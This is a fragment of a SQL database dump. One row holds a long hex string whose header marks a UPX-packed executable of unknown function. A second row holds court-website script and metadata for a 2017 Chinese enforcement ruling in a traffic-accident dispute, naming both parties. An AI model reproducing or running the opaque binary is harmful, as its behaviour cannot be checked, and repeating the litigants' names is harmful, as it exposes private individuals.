000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF7','2018-10-07
09:28:44',0,'web',NULL),(9019984,'f0852539-f5c9-4b14-ab61-a83c0108e984','$(function(){$(\"#con_llcs\").html(\"浏览：98次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"2222\",\"案件基本情况段原文\":\"\",\"审判程序\":\"\",\"案号\":\"（2017）粤0703执2346号\",\"法院地市\":\"江门市\",\"法院省份\":\"广东\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"f0852539-f5c9-4b14-ab61-a83c0108e984\",\"案件名称\":\"符贤妹与卢耀良机动车交通事故责任纠纷执行裁定书\",\"法院名称\":\"江门市蓬江区人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"蓬江区\",\"DocContent\":\"\",\"补正文书\":\"2\",\"诉讼记录段原文\":\"申请执行人符贤妹与被执行人卢耀良交通事故责任纠纷一案，本院作出的（2017）粤0703民初1455号民事判决书已发生法律效力。但被执行人逾期未履行，根据申请执行人的请求，本院于二零一七年八月十九日立案执行\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1512057600000)\\\/\",\"案件类型\":\"5\",\"诉讼参与人信息部分原文\":\"\",\"附加原文\":\"\",\"文书全文类型\":\"1\",\"不公开理由\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"符贤妹与卢耀良机动车交通事故责任纠纷执行裁定书\");$(\"#tdSource\").html(\"符贤妹与卢耀良机动车交通事故责任纠纷执行裁定书
（2017）粤0703执2346号\");$(\"#hidDocID\").val(\"f0852539-f5c9-4b14-ab61-a83c0108e984\");$(\"#hidCaseName\").val(\"符贤妹与卢耀良机动车交通事故责任纠纷执行裁定书\");$(\"#hidCaseNumber\").val(\"（2017）粤0703执2346号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"江门市蓬江区人民法院\");$(\"#hidCaseType\").val(\"5\");$(\"#HidCourtID\").val(\"2222\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"江门市蓬江区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"执行案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"裁判日期\", key: \"trialDate\", value: \"2017-11-23\" },{ name:
\"当事人\", key: \"appellor\", value: \"符贤妹,卢耀良\" }],LegalBase:
[{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百五十四条\',法条内容:\'第一百五十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"符贤妹与卢耀良机动车交通事故责任纠纷执行裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2017-12-01\\\\\",\\\\\